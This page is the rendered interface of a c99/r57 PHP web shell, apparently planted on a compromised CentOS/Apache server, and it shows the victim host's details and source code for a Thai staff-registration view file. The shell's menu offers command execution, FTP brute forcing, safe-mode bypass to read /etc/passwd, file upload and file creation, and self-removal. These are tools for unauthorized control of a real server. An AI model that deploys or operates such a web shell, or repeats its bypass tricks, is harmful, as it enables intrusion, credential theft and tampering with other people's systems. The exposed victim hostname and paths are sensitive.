!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showPerson.php (4.2 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cfg 
= isset($qu_cfg) ? $qu_cfg->row() : NULL;
?>
<table width="100%" align="center">
    <tr>
        <td><div align="center">
            <table width="100%">
                <tr>
                    <td align="center"><span class="h" style="color:<?php echo $font_color_err;?>">เพิ่มบุคลากรใหม่</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td>
                    <table class="headCol">
                        <?php echo form_open($this->config->item("rg_folder")."officer/prs_insert_update", array('id' => 'myform''name' => 'myform'));?>
                        <tr>
                            <th colspan="5"><span>รายชื่อบุคลากร</span></th>
                        </tr>
                        <tr> 
                            <th class="stdCodeCol"><span>รหัสบุคลากร</span></th>
                            <th><span>ชื่อ-นามสกุล</span></th>
                            <th class="groupCol"><span>สถานะ</span></th>
                            <th class="editCol"><span>แก้ไข</span></th>
                            <th class="deleteCol"><span>ลบ</span></th>
                        </tr>
<?php
                        $i 
0;
                        if(
$rs_prs && $rs_prs->num_rows()) {
                            foreach(
$rs_prs->result() as $row_prs) {
                                echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td align="center"><span><?php echo $row_prs->personCode;?></span></td>
                            <td class="indent"><span class="hand" onClick="sendPost('hidform', {'prsId':<?php echo $row_prs->prsId;?>}, '<?php echo site_url($this->config->item('rg_folder').'officer/showDetailPrs');?>', {})"><?php echo $row_prs->prefixName.$row_prs->fName.' '.$row_prs->lName;?></span></td>
                            <td align="center">
<?php
                            
if(is_null($row_prs->prsId))
                                
$show $this->config->item('rg_tPPC');
                            else
                                
$show $this->config->item('rg_tRG');
?>
                                
                            <img src="<?php echo base_url().$show;?>" /></td>
                            <td align="center">
                            <img src="<?php echo base_url().$this->config->item("rg_edit");?>" onClick="sendPost('myform', {'personId':'<?php echo $row_prs->personId;?>','psoutId':'<?php echo $row_prs->psoutId;?>'}, '<?php echo site_url($this->config->item('rg_folder').'officer/prs_input');?>')" width="23" height="19" align="absmiddle" border="0" class="hand" />
                            </td>
                            <td align="center">
                            <img src="<?php echo base_url().$this->config->item("rg_delete");?>" width="16" height="19" align="absmiddle" class="hand" border="0" onClick="if(confirm('ต้องการลบข้อมูล ?')) { sendPost('myform', {'prsId':'<?php echo $row_prs->prsId;?>'}, '<?php echo site_url($this->config->item('rg_folder').'officer/prs_delete');?>')}">
                            </td>
                        </tr>
<?php
                                $i
++;
                            }
                        } else {
?>
                        <tr>
                            <td colspan="4" align="center"><span style="color:<?php echo $font_color_err;?>">** ไม่ปรากฏรายการในฐานข้อมูล **</span></td>
                        </tr>
<?php
                        
}
?>
                    <?php echo form_close();?></table></td>
                </tr>
                <tr>
                    <td align="right"><span>รวม <?php echo $rs_prs->num_rows();?> รายการ</span></td>
                </tr>
                <tr>
                    <td><input type="submit" name="add" value="เพิ่มรายการ" onClick="sendPost('myform', {}, '<?php echo site_url($this->config->item('rg_folder').'officer/prs_input');?>')" <?php echo (getval('cfgCheckPP'$row_cfg) == 'Y') ? 'disabled' '';?> />
                    </td>
                </tr>
            </table></div>
        <br></td>
    </tr>
</table>
<table>
    <tr>
        <td><span style="color:<?php echo $font_color_err;?>"><b>หมายเหตุ :</b></span></td>
        <td><span style="color:<?php echo $font_color_err;?>">ใช้เมาส์คลิกที่ชื่อ-สกุลบุคลากรเพื่อดูรายละเอียดข้อมูลบุคลากร</span></td>
    </tr>
    <tr>
        <td></td>
        <td><span style="color:<?php echo $font_color_err;?>">
        <img src="<?php echo base_url().$this->config->item('rg_tPPC');?>" /> : ยังไม่นำเข้าข้อมูลบุคลากร </span></td>
    </tr>
    <tr>
        <td></td>
        <td><span style="color:<?php echo $font_color_err;?>">
        <img src="<?php echo base_url().$this->config->item('rg_tRG');?>" /> : นำเข้าข้อมูลบุคลากรแล้ว</span></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0135 ]--